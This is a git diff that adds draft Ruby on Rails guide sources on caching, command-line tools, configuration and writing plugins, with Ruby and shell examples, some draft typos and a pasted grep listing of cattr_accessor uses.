+And you can also use :if (or :unless) to pass a Proc that specifies when the
+action should be cached. Also, you can use :layout => false to cache without
+layout so that dynamic information in the layout such as logged in user info
+or the number of items in the cart can be left uncached. This feature is
+available as of Rails 2.2.
+
+
+[More: more examples? Walk-through of Action Caching from request to response?
+ Description of Rake tasks to clear cached files? Show example of
+ subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
+ to expire_action?]
+
+=== Fragment Caching
+
+Life would be perfect if we could get away with caching the entire contents of
+a page or action and serving it out to the world. Unfortunately, dynamic web
+applications usually build pages with a variety of components not all of which
+have the same caching characteristics. In order to address such a dynamically
+created page where different parts of the page need to be cached and expired
+differently Rails provides a mechanism called Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache
+block and served out of the cache store when the next request comes in.
+
+As an example, if you wanted to show all the orders placed on your website
+in real time and didn't want to cache that part of the page, but did want
+to cache the part of the page which lists all products available, you
+could use this piece of code:
+
+[source, ruby]
+-----------------------------------------------------
+<% Order.find_recent.each do |o| %>
+ <%= o.buyer.name %> bought <% o.product.name %>
+<% end %>
+
+<% cache do %>
+ All available products:
+ <% Product.find(:all).each do |p| %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+<% end %>
+-----------------------------------------------------
+
+The cache block in our example will bind to the action that called it and is
+written out to the same place as the Action Cache, which means that if you
+want to cache multiple fragments per action, you should provide an action_suffix to the cache call:
+
+[source, ruby]
+-----------------------------------------------------
+<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
+ All available products:
+-----------------------------------------------------
+
+and you can expire it using the expire_fragment method, like so:
+
+[source, ruby]
+-----------------------------------------------------
+expire_fragment(:controller => 'producst', :action => 'recent', :action_suffix => 'all_products)
+-----------------------------------------------------
+
+[More: more examples? description of fragment keys and expiration, etc? pagination?]
+
+=== Sweepers
+
+Cache sweeping is a mechanism which allows you to get around having a ton of
+expire_{page,action,fragment} calls in your code by moving all the work
+required to expire cached content into a ActionController::Caching::Sweeper
+class that is an Observer and looks for changes to an object via callbacks,
+and when a change occurs it expires the caches associated with that object n
+an around or after filter.
+
+Continuing with our Product controller example, we could rewrite it with a
+sweeper such as the following:
+
+[source, ruby]
+-----------------------------------------------------
+class StoreSweeper < ActionController::Caching::Sweeper
+ observe Product # This sweeper is going to keep an eye on the Post model
+
+ # If our sweeper detects that a Post was created call this
+ def after_create(product)
+ expire_cache_for(product)
+ end
+
+ # If our sweeper detects that a Post was updated call this
+ def after_update(product)
+ expire_cache_for(product)
+ end
+
+ # If our sweeper detects that a Post was deleted call this
+ def after_destroy(product)
+ expire_cache_for(product)
+ end
+
+ private
+ def expire_cache_for(record)
+ # Expire the list page now that we added a new product
+ expire_page(:controller => '#{record}', :action => 'list')
+
+ # Expire a fragment
+ expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products')
+ end
+end
+-----------------------------------------------------
+
+Then we add it to our controller to tell it to call the sweeper when certain
+actions are called. So, if we wanted to expire the cached content for the
+list and edit actions when the create action was called, we could do the
+following:
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+ before_filter :authenticate, :only => [ :edit, :create ]
+ caches_page :list
+ caches_action :edit
+ cache_sweeper :store_sweeper, :only => [ :create ]
+
+ def list; end
+
+ def create
+ expire_page :action => :list
+ expire_action :action => :edit
+ end
+
+ def edit; end
+
+end
+-----------------------------------------------------
+
+[More: more examples? better sweepers?]
+
+=== SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each
+query so that if Rails encounters the same query again for that request, it
+will used the cached result set as opposed to running the query against the
+database again.
+
+For example:
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+ before_filter :authenticate, :only => [ :edit, :create ]
+ caches_page :list
+ caches_action :edit
+ cache_sweeper :store_sweeper, :only => [ :create ]
+
+ def list
+ # Run a find query
+ Product.find(:all)
+
+ ...
+
+ # Run the same query again
+ Product.find(:all)
+ end
+
+ def create
+ expire_page :action => :list
+ expire_action :action => :edit
+ end
+
+ def edit; end
+
+end
+-----------------------------------------------------
+
+In the 'list' action above, the result set returned by the first
+Product.find(:all) will be cached and will be used to avoid querying the
+database again the second time that finder is called.
+
+Query caches are created at the start of an action and destroyed at the end of
+that action and thus persist only for the duration of the action.
+
+=== Cache stores
+
+Rails provides different stores for the cached data for action and fragment
+caches. Page caches are always stored on disk.
+
+The cache stores provided include:
+
+1) Memory store: Cached data is stored in the memory allocated to the Rails
+ process, which is fine for WEBrick and for FCGI (if you
+ don't care that each FCGI process holds its own fragment
+ store). It's not suitable for CGI as the process is thrown
+ away at the end of each request. It can potentially also
+ take up a lot of memory since each process keeps all the
+ caches in memory.
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = :memory_store
+-----------------------------------------------------
+
+2) File store: Cached data is stored on the disk, this is the default store
+ and the default path for this store is: /tmp/cache. Works
+ well for all types of environments and allows all processes
+ running from the same application directory to access the
+ cached content.
+
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
+-----------------------------------------------------
+
+3) DRb store: Cached data is stored in a separate shared DRb process that all
+ servers communicate with. This works for all environments and
+ only keeps one cache around for all processes, but requires
+ that you run and manage a separate DRb process.
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
+-----------------------------------------------------
+
+4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
+ Requires the ruby-memcache library:
+ gem install ruby-memcache.
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = :mem_cache_store, "localhost"
+-----------------------------------------------------
+
+5) Custom store: You can define your own cache store (new in Rails 2.1)
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = MyOwnStore.new("parameter")
+-----------------------------------------------------
+
+== Advanced Caching
+
+Along with the built-in mechanisms outlined above, a number of excellent
+plugins exist to help with finer grained control over caching. These include
+Chris Wanstrath's excellent cache_fu plugin (more info here:
+http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
+interlock plugin (more info here:
+http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
+of these plugins play nice with memcached and are a must-see for anyone
+seriously considering optimizing their caching needs.
diff --git a/vendor/rails/railties/doc/guides/source/command_line.txt b/vendor/rails/railties/doc/guides/source/command_line.txt
new file mode 100644
index 00000000..5f7c6cef
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/command_line.txt
@@ -0,0 +1,147 @@
+A Guide to The Rails Command Line
+=================================
+
+Rails comes with every command line tool you'll need to
+
+* Create a Rails application
+* Generate models, controllers, database migrations, and unit tests
+* Start a development server
+* Mess with objects through an interactive shell
+* Profile and benchmark your new creation
+
+... and much, much more! (Buy now!)
+
+This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.
+
+== Command Line Basics ==
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* console
+* server
+* rake
+* generate
+* rails
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+=== rails ===
+
+The first thing we'll want to do is create a new Rails application by running the `rails` command after installing Rails.
+
+NOTE: You know you need the rails gem installed by typing `gem install rails` first, right? Okay, okay, just making sure.
+
+[source,shell]
+------------------------------------------------------
+$ rails commandsapp
+
+ create
+ create app/controllers
+ create app/helpers
+ create app/models
+ ...
+ ...
+ create log/production.log
+ create log/development.log
+ create log/test.log
+------------------------------------------------------
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+NOTE: This output will seem very familiar when we get to the `generate` command. Creepy foreshadowing!
+
+=== server ===
+
+Let's try it! The `server` command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.
+
+NOTE: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]
+
+Here we'll flex our `server` command, which without any prodding of any kind will run our new shiny Rails app:
+
+[source,shell]
+------------------------------------------------------
+$ cd commandsapp
+$ ./script/server
+=> Booting WEBrick...
+=> Rails 2.2.0 application started on http://0.0.0.0:3000
+=> Ctrl-C to shutdown server; call with --help for options
+[2008-11-04 10:11:38] INFO WEBrick 1.3.1
+[2008-11-04 10:11:38] INFO ruby 1.8.5 (2006-12-04) [i486-linux]
+[2008-11-04 10:11:38] INFO WEBrick::HTTPServer#start: pid=18994 port=3000
+------------------------------------------------------
+
+WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
+
+See? Cool! It doesn't do much yet, but we'll change that.
+
+=== generate ===
+
+The `generate` command uses templates to create a whole lot of things. You can always find out what's available by running `generate` by itself. Let's do that:
+
+[source,shell]
+------------------------------------------------------
+$ ./script/generate
+Usage: ./script/generate generator [options] [args]
+
+...
+...
+
+Installed Generators
+ Builtin: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
+
+...
+...
+------------------------------------------------------
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+NOTE: All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like `rails` or `./script/generate`). For others, you can try adding `--help` or `-h` to the end, as in `./script/server --help`.
+
+[source,shell]
+------------------------------------------------------
+$ ./script/generate controller
+Usage: ./script/generate controller ControllerName [options]
+
+...
+...
+
+Example:
+ `./script/generate controller CreditCard open debit credit close`
+
+ Credit card controller with URLs like /credit_card/debit.
+ Controller: app/controllers/credit_card_controller.rb
+ Views: app/views/credit_card/debit.html.erb [...]
+ Helper: app/helpers/credit_card_helper.rb
+ Test: test/functional/credit_card_controller_test.rb
+
+Modules Example:
+ `./script/generate controller 'admin/credit_card' suspend late_fee`
+
+ Credit card admin controller with URLs /admin/credit_card/suspend.
+ Controller: app/controllers/admin/credit_card_controller.rb
+ Views: app/views/admin/credit_card/debit.html.erb [...]
+ Helper: app/helpers/admin/credit_card_helper.rb
+ Test: test/functional/admin/credit_card_controller_test.rb
+------------------------------------------------------
+
+Ah, the controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of *hello*, which will say something nice to us.
+
+[source,shell]
+------------------------------------------------------
+$ ./script/generate controller Greeting hello
+ exists app/controllers/
+ exists app/helpers/
+ create app/views/greeting
+ exists test/functional/
+ create app/controllers/greetings_controller.rb
+ create test/functional/greetings_controller_test.rb
+ create app/helpers/greetings_helper.rb
+ create app/views/greetings/hello.html.erb
+------------------------------------------------------
+
+Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command!
+
diff --git a/vendor/rails/railties/doc/guides/source/configuring.txt b/vendor/rails/railties/doc/guides/source/configuring.txt
new file mode 100644
index 00000000..07b630c5
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/configuring.txt
@@ -0,0 +1,225 @@
+Configuring Rails Applications
+==============================
+
+This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
+
+* Adjust the behavior of your Rails applications
+* Add additional code to be run at application start time
+
+== Locations for Initialization Code
+
+preinitializers
+environment.rb first
+env-specific files
+initializers (load_application_initializers)
+after-initializer
+
+== Using a Preinitializer
+
+== Configuring Rails Components
+
+=== Configuring Active Record
+
+=== Configuring Action Controller
+
+=== Configuring Action View
+
+=== Configuring Action Mailer
+
+=== Configuring Active Resource
+
+=== Configuring Active Support
+
+== Using Initializers
+ organization, controlling load order
+
+== Using an After-Initializer
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28[Lighthouse ticket]
+
+* November 5, 2008: Rough outline by link:../authors.html#mgunderloy[Mike Gunderloy]
+
+
+actionmailer/lib/action_mailer/base.rb
+257: cattr_accessor :logger
+267: cattr_accessor :smtp_settings
+273: cattr_accessor :sendmail_settings
+276: cattr_accessor :raise_delivery_errors
+282: cattr_accessor :perform_deliveries
+285: cattr_accessor :deliveries
+288: cattr_accessor :default_charset
+291: cattr_accessor :default_content_type
+294: cattr_accessor :default_mime_version
+297: cattr_accessor :default_implicit_parts_order
+299: cattr_reader :protected_instance_variables
+
+actionmailer/Rakefile
+36: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+
+actionpack/lib/action_controller/base.rb
+263: cattr_reader :protected_instance_variables
+273: cattr_accessor :asset_host
+279: cattr_accessor :consider_all_requests_local
+285: cattr_accessor :allow_concurrency
+317: cattr_accessor :param_parsers
+321: cattr_accessor :default_charset
+325: cattr_accessor :logger
+329: cattr_accessor :resource_action_separator
+333: cattr_accessor :resources_path_names
+337: cattr_accessor :request_forgery_protection_token
+341: cattr_accessor :optimise_named_routes
+351: cattr_accessor :use_accept_header
+361: cattr_accessor :relative_url_root
+
+actionpack/lib/action_controller/caching/pages.rb
+55: cattr_accessor :page_cache_directory
+58: cattr_accessor :page_cache_extension
+
+actionpack/lib/action_controller/caching.rb
+37: cattr_reader :cache_store
+48: cattr_accessor :perform_caching
+
+actionpack/lib/action_controller/dispatcher.rb
+98: cattr_accessor :error_file_path
+
+actionpack/lib/action_controller/mime_type.rb
+24: cattr_reader :html_types, :unverifiable_types
+
+actionpack/lib/action_controller/rescue.rb
+36: base.cattr_accessor :rescue_responses
+40: base.cattr_accessor :rescue_templates
+
+actionpack/lib/action_controller/session/active_record_store.rb
+60: cattr_accessor :data_column_name
+170: cattr_accessor :connection
+173: cattr_accessor :table_name
+177: cattr_accessor :session_id_column
+181: cattr_accessor :data_column
+282: cattr_accessor :session_class
+
+actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+44: cattr_accessor :included_tags, :instance_writer => false
+
+actionpack/lib/action_view/base.rb
+189: cattr_accessor :debug_rjs
+193: cattr_accessor :warn_cache_misses
+
+actionpack/lib/action_view/helpers/active_record_helper.rb
+7: cattr_accessor :field_error_proc
+
+actionpack/lib/action_view/helpers/form_helper.rb
+805: cattr_accessor :default_form_builder
+
+actionpack/lib/action_view/template_handlers/erb.rb
+47: cattr_accessor :erb_trim_mode
+
+actionpack/test/active_record_unit.rb
+5: cattr_accessor :able_to_connect
+6: cattr_accessor :connected
+
+actionpack/test/controller/filters_test.rb
+286: cattr_accessor :execution_log
+
+actionpack/test/template/form_options_helper_test.rb
+3:TZInfo::Timezone.cattr_reader :loaded_zones
+
+activemodel/lib/active_model/errors.rb
+28: cattr_accessor :default_error_messages
+
+activemodel/Rakefile
+19: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+
+activerecord/lib/active_record/attribute_methods.rb
+9: base.cattr_accessor :attribute_types_cached_by_default, :instance_writer => false
+11: base.cattr_accessor :time_zone_aware_attributes, :instance_writer => false
+
+activerecord/lib/active_record/base.rb
+394: cattr_accessor :logger, :instance_writer => false
+443: cattr_accessor :configurations, :instance_writer => false
+450: cattr_accessor :primary_key_prefix_type, :instance_writer => false
+456: cattr_accessor :table_name_prefix, :instance_writer => false
+461: cattr_accessor :table_name_suffix, :instance_writer => false
+467: cattr_accessor :pluralize_table_names, :instance_writer => false
+473: cattr_accessor :colorize_logging, :instance_writer => false
+478: cattr_accessor :default_timezone, :instance_writer => false
+487: cattr_accessor :schema_format , :instance_writer => false
+491: cattr_accessor :timestamped_migrations , :instance_writer => false
+
+activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
+11: cattr_accessor :connection_handler, :instance_writer => false
+
+activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+166: cattr_accessor :emulate_booleans
+
+activerecord/lib/active_record/fixtures.rb
+498: cattr_accessor :all_loaded_fixtures
+
+activerecord/lib/active_record/locking/optimistic.rb
+38: base.cattr_accessor :lock_optimistically, :instance_writer => false
+
+activerecord/lib/active_record/migration.rb
+259: cattr_accessor :verbose
+
+activerecord/lib/active_record/schema_dumper.rb
+13: cattr_accessor :ignore_tables
+
+activerecord/lib/active_record/serializers/json_serializer.rb
+4: base.cattr_accessor :include_root_in_json, :instance_writer => false
+
+activerecord/Rakefile
+142: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+
+activerecord/test/cases/lifecycle_test.rb
+61: cattr_reader :last_inherited
+
+activerecord/test/cases/mixin_test.rb
+9: cattr_accessor :forced_now_time
+
+activeresource/lib/active_resource/base.rb
+206: cattr_accessor :logger
+
+activeresource/Rakefile
+43: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+
+activesupport/lib/active_support/buffered_logger.rb
+17: cattr_accessor :silencer
+
+activesupport/lib/active_support/cache.rb
+81: cattr_accessor :logger
+
+activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+5:# cattr_accessor :hair_colors
+10: def cattr_reader(*syms)
+29: def cattr_writer(*syms)
+50: def cattr_accessor(*syms)
+51: cattr_reader(*syms)
+52: cattr_writer(*syms)
+
+activesupport/lib/active_support/core_ext/logger.rb
+34: cattr_accessor :silencer
+
+activesupport/test/core_ext/class/attribute_accessor_test.rb
+6: cattr_accessor :foo
+7: cattr_accessor :bar, :instance_writer => false
+
+activesupport/test/core_ext/module/synchronization_test.rb
+6: @target.cattr_accessor :mutex, :instance_writer => false
+
+railties/doc/guides/html/creating_plugins.html
+786: cattr_accessor :yaffle_text_field,:yaffle_date_field
+860: cattr_accessor :yaffle_text_field,:yaffle_date_field
+
+railties/lib/rails_generator/base.rb
+93: cattr_accessor :logger
+
+railties/Rakefile
+265: rdoc.options << '--line-numbers' << '--inline-source' << '--accessor' << 'cattr_accessor=object'
+
+railties/test/rails_info_controller_test.rb
+12: cattr_accessor :local_request
+
+Rakefile
+32: rdoc.options << '-A cattr_accessor=object'
+
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt
new file mode 100644
index 00000000..de116af7
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt
@@ -0,0 +1,191 @@
+== Add an `acts_as_yaffle` method to Active Record ==
+
+A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models.
+
+To begin, set up your files so that you have:
+
+*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+[source, ruby]
+------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+end
+------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+require 'yaffle/acts_as_yaffle'
+------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+module Yaffle
+ # your code will go here
+end
+------------------------------------------------------
+
+Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.
+
+One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so:
+
+*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+module Yaffle
+ def self.included(base)
+ base.send :extend, ClassMethods
+ end
+
+ module ClassMethods
+ # any method placed here will apply to classes, like Hickwall
+ def acts_as_something
+ send :include, InstanceMethods
+ end
+ end
+
+ module InstanceMethods
+ # any method placed here will apply to instaces, like @hickwall
+ end
+end
+------------------------------------------------------
+
+With structure you can easily separate the methods that will be used for the class (like `Hickwall.some_method`) and the instance (like `@hickwell.some_method`).
+
+=== Add a class method ===
+
+This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+[source, ruby]
+------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+ acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+ acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+ load_schema
+
+ def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
+ end
+
+ def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
+ end
+end
+------------------------------------------------------
+
+To make these tests pass, you could modify your `acts_as_yaffle` file like so:
+
+*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+module Yaffle
+ def self.included(base)
+ base.send :extend, ClassMethods
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field
+ self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+------------------------------------------------------
+
+=== Add an instance method ===
+
+This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+[source, ruby]
+------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+ acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+ acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+ load_schema
+
+ def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
+ end
+
+ def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
+ end
+
+ def test_hickwalls_squawk_should_populate_last_squawk
+ hickwall = Hickwall.new
+ hickwall.squawk("Hello World")
+ assert_equal "squawk! Hello World", hickwall.last_squawk
+ end
+
+ def test_wickwalls_squawk_should_populate_last_tweeted_at
+ wickwall = Wickwall.new
+ wickwall.squawk("Hello World")
+ assert_equal "squawk! Hello World", wickwall.last_tweet
+ end
+end
+------------------------------------------------------
+
+Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this:
+
+*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+[source, ruby]
+------------------------------------------------------
+module Yaffle
+ def self.included(base)
+ base.send :extend, ClassMethods
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field
+ self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+ send :include, InstanceMethods
+ end
+ end
+
+ module InstanceMethods
+ def squawk(string)
+ write_attribute(self.class.yaffle_text_field, string.to_squawk)
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+------------------------------------------------------
+
+.Editor's note:
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt
new file mode 100644
index 00000000..a78890cc
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt
@@ -0,0 +1,46 @@
+== Appendix ==
+
+=== References ===
+
+ * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i
+ * http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii
+ * http://github.com/technoweenie/attachment_fu/tree/master
+ * http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
+
+=== Final plugin directory structure ===
+
+The final plugin should have a directory structure that looks something like this:
+
+------------------------------------------------
+ |-- MIT-LICENSE
+ |-- README
+ |-- Rakefile
+ |-- generators
+ | `-- yaffle
+ | |-- USAGE
+ | |-- templates
+ | | `-- definition.txt
+ | `-- yaffle_generator.rb
+ |-- init.rb
+ |-- install.rb
+ |-- lib
+ | |-- acts_as_yaffle.rb
+ | |-- commands.rb
+ | |-- core_ext.rb
+ | |-- routing.rb
+ | `-- view_helpers.rb
+ |-- tasks
+ | `-- yaffle_tasks.rake
+ |-- test
+ | |-- acts_as_yaffle_test.rb
+ | |-- core_ext_test.rb
+ | |-- database.yml
+ | |-- debug.log
+ | |-- routing_test.rb
+ | |-- schema.rb
+ | |-- test_helper.rb
+ | `-- view_helpers_test.rb
+ |-- uninstall.rb
+ `-- yaffle_plugin.sqlite3.db
+------------------------------------------------
+
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt
new file mode 100644
index 00000000..ee408adb
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt
@@ -0,0 +1,59 @@
+== Add a controller ==
+
+This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.
+
+You can test your plugin's controller as you would test any other controller:
+
+*vendor/plugins/yaffle/yaffle/woodpeckers_controller_test.rb:*
+
+[source, ruby]
+----------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'woodpeckers_controller'
+require 'action_controller/test_process'
+
+class WoodpeckersController; def rescue_action(e) raise e end; end
+
+class WoodpeckersControllerTest < Test::Unit::TestCase
+ def setup
+ @controller = WoodpeckersController.new
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ end
+
+ def test_index
+ get :index
+ assert_response :success
+ end
+end
+----------------------------------------------
+
+This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with `rake`, you can make it pass like so:
+
+*vendor/plugins/yaffle/lib/yaffle.rb:*
+
+[source, ruby]
+----------------------------------------------
+%w{ models controllers }.each do |dir|
+ path = File.join(File.dirname(__FILE__), 'app', dir)
+ $LOAD_PATH << path
+ ActiveSupport::Dependencies.load_paths << path
+ ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+----------------------------------------------
+
+
+*vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:*
+
+[source, ruby]
+----------------------------------------------
+class WoodpeckersController < ActionController::Base
+
+ def index
+ render :text => "Squawk!"
+ end
+
+end
+----------------------------------------------
+
+Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt
new file mode 100644
index 00000000..ca8efc3d
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt
@@ -0,0 +1,123 @@
+== Extending core classes ==
+
+This section will explain how to add a method to String that will be available anywhere in your rails app by:
+
+ * Writing tests for the desired behavior
+ * Creating and requiring the correct files
+
+=== Creating the test ===
+
+In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:
+
+*vendor/plugins/yaffle/test/core_ext_test.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class CoreExtTest < Test::Unit::TestCase
+ def test_to_squawk_prepends_the_word_squawk
+ assert_equal "squawk! Hello World", "Hello World".to_squawk
+ end
+end
+--------------------------------------------------------
+
+Navigate to your plugin directory and run `rake test`:
+
+--------------------------------------------------------
+cd vendor/plugins/yaffle
+rake test
+--------------------------------------------------------
+
+The test above should fail with the message:
+
+--------------------------------------------------------
+ 1) Error:
+test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+ ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+--------------------------------------------------------
+
+Great - now you are ready to start development.
+
+=== Organize your files ===
+
+A common pattern in rails plugins is to set up the file structure like this:
+
+--------------------------------------------------------
+|-- lib
+| |-- yaffle
+| | `-- core_ext.rb
+| `-- yaffle.rb
+--------------------------------------------------------
+
+The first thing we need to to is to require our 'lib/yaffle.rb' file from 'rails/init.rb':
+
+*vendor/plugins/yaffle/rails/init.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require 'yaffle'
+--------------------------------------------------------
+
+Then in 'lib/yaffle.rb' require 'lib/core_ext.rb':
+
+*vendor/plugins/yaffle/lib/yaffle.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require "yaffle/core_ext"
+--------------------------------------------------------
+
+Finally, create the 'core_ext.rb' file and add the 'to_squawk' method:
+
+*vendor/plugins/yaffle/lib/yaffle/core_ext.rb*
+
+[source, ruby]
+--------------------------------------------------------
+String.class_eval do
+ def to_squawk
+ "squawk! #{self}".strip
+ end
+end
+--------------------------------------------------------
+
+To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory. To see this in action, fire up a console and start squawking:
+
+--------------------------------------------------------
+$ ./script/console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+--------------------------------------------------------
+
+=== Working with init.rb ===
+
+When rails loads plugins it looks for the file named init.rb. However, when the plugin is initialized, 'init.rb' is invoked via `eval` (not `require`) so it has slightly different behavior.
+
